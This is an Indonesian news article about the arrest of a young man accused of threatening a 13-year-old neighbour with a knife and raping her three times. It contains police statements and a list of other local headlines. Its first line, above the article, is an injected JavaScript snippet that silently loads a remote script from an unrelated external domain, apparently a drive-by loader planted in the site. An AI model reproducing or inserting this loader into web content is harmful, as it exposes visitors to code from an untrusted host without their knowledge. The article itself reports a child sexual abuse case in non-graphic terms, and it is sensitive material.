(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pengancam dan Pemerkosa Bocah 13 Tahun Asal HSU Ditangkap


AMUNTAI, MH (19), tersangka pengancaman dan pemerkosaan terhadap bocah 13 tahun asal Kabupaten Hulu Sungai Utara (HSU), akhirnya ditangkap Unit Jatanras Polres HSU, Kamis (29/8) di sebuah rumah di Kecamatan Amuntai Tengah, pada pukul 17.00 wita.

Kelakuan MH sebelumnya sangat keterlaluan. Ia tega memperkosa bocah perempuan inisial H (13) yang masih duduk di bangku sekolah dasar (SD). Unit Jatanras Polres Hulu Sungai Utara segera meringkus MH setelah orang tua korban melaporkan pemerkosaan itu ke polisi.

Menurut Kepala Polres HSU AKBP Ahmad Arif Sopiyan lewat Kasatreskrim Polres HSU Iptu Kamarudin, pelaku mengakui perbuatannya.

“Dari keterangan pelaku bahwa benar melakukan tindak pidana tersebut. Unit Jatanras Polres HSU langsung mengamankan pelaku dan dibawa ke Polres HSU guna proses lebih lanjut,” kata Iptu Kamarudin.

Polisi turut menyita barang bukti satu helai seprei kelir ungu putih dan satu senjata tajam pisau dapur. Menurut dia, pelaku memperkosa korbannya dengan ancaman kekerasan.

“Sebagaimana dimaksud dalam rumusan Pasal 81 Ayat (1) Undang-undang Nomor 23 Tahun 2002 tentang Perlindungan Anak,” katanya.

Pemerkosaan ini bermula ketika pelaku bertemu korban pada pukul 16.00 Wita pada Mei lalu. Korban H sedang pulang ke rumah ketika berpapasan dengan tersangka. Di dekat rumah korban, MH mencegat H yang tak lain tetangga sendiri.“Terlapor menarik korban dan menyuruhnya masuk ke dalam rumahnya. Awalnya korban menolak, namun terlapor mengancam korban menggunakan senjata tajam,” kata Iptu Kamarudin.

Lantaran ketakutan, H menuruti saja kemauan MH. Tersangka pun memaksa korban melepas pakaian, lalu memperkosa H secara brutal. Setelah selesai memperkosa H, tersangka MH kembali mengancam korban agar tidak memberi tahu hal tersebut kepada orang tuanya. “Terlapor pun melakukan perbuatan tersebut sebanyak tiga kali dalam kurun waktu tigahari berturut-turut,” ujar Kamarudin sebagaimana dilansir kumparan.com.

Nah, dua bulan setelah kejadian ini, ayah korban melihat ada perubahan aneh pada H. Korban yang biasanya ceria, menjadi sering pendiam dan tidak banyak bicara. Pelapor pun menanyakan kepada korban apa yang telah terjadi. Korban pun menceritakan kejadian tersebut kepada pelapor. Pelapor sangat terkejut dan tidak terima dengan kejadian hal tersebut dan melaporkan kejadian tersebut ke Mapolres HSU guna penyidikan lebih lanjut. (dew/kum)

Reporter : Dew/kum
Editor : Chell


Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

2 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

17 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

17 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

19 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.